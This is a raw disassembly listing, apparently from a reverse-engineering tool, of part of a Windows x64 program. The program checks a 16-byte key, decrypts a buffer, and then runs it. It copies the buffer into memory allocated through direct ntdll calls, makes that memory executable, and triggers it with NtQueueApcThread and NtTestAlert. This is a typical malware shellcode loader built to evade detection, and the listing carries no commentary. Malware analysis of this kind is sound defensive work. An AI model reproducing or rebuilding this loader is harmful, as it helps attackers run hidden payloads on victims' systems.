mov dword [rsp + 0x84], eax
mov eax, dword [rsi + 8]
mov dword [rsp + 0x88], eax
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0x8c], eax
mov rdi, qword [rsp + 0xd0]
mov bl, 1
xor eax, eax
cmp rax, 0x10
je 0x140003af1
lea rsi, [rax + 1]
mov dl, byte [rdi + rax]
xor dl, byte [rsp + rax + 0x80]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.1400093f1
and bl, al
mov rax, rsi
jmp 0x140003ac6
mov ecx, ebx
call fcn.1400093f1
test al, al
je 0x140003b0e
mov rcx, r13
mov rdx, r15
mov r8, r14
call fcn.1400015d0
mov bl, 1
jmp 0x140003b10
xor ebx, ebx
lea rsi, [rsp + 0x760]
push 0x40
pop rdx
mov rcx, rsi
call fcn.140009464
mov byte [rsi + 0x40], 0
mov eax, 0x90
mov rdi, qword [rsp + 0x138]
cmp rax, 0xa0
je 0x140003b4c
mov dword [rsp + rax*4 + 0x4e0], 0
inc rax
jmp 0x140003b34
test bl, bl
je 0x140003cf5
cmp r12, 0x10
cmovb r14, r12
lea rcx, [rsp + 0x1e0]
push 0x20
pop rdx
call fcn.140009464
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.1400047fe
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], r14
mov rcx, r14
call fcn.140004812
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r15
mov r8, r14
call fcn.140009f50
lea rdx, [rsp + 0x80]
and qword [rdx], 0
lea r9, [rsp + 0x410]
mov qword [r9], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
push 0xffffffffffffffff
pop rcx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x140003cee
and qword [rsp + 0x7c0], 0
mov qword [rsp + 0x4e0], r14
mov rdx, qword [rsp + 0x80]
lea rax, [rsp + 0x7c0]
mov qword [rsp + 0x20], rax
push 0xffffffffffffffff
pop rcx
mov r8, rdi
mov r9, r14
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x140003cee
mov dword [rsp + 0x180], 4
lea rax, [rsp + 0x180]
mov qword [rsp + 0x20], rax
push 0xffffffffffffffff
pop rcx
lea rdx, [rsp + 0x80]
lea r8, [rsp + 0x4e0]
push 0x40
pop r9
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x140003cee
mov rdx, qword [rsp + 0x80]
and qword [rsp + 0x20], 0
push 0xfffffffffffffffe
pop rcx
mov r8, rdx
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtQueueApcThread]
test eax, eax
js 0x140003cee
call qword [sym.imp.ntdll.dll_NtTestAlert]
mov rcx, rdi
mov rdx, rbx
call fcn.1400047fe
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.1400047fe
movaps xmm6, xmmword [rbp + 0xa10]
movaps xmm7, xmmword [rbp + 0xa20]
movaps xmm8, xmmword [rbp + 0xa30]
movaps xmm9, xmmword [rbp + 0xa40]
movaps xmm10, xmmword [rbp + 0xa50]
movaps xmm11, xmmword [rbp + 0xa60]
movaps xmm12, xmmword [rbp + 0xa70]
movaps xmm13, xmmword [rbp + 0xa80]
lea rsp, [rbp + 0xa98]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140009347
ud2
mov rcx, r15
mov rdx, rdi
call fcn.1400047fe
ud2
push 1
pop rcx
push 0xc
pop rdx
call fcn.140017a36
ud2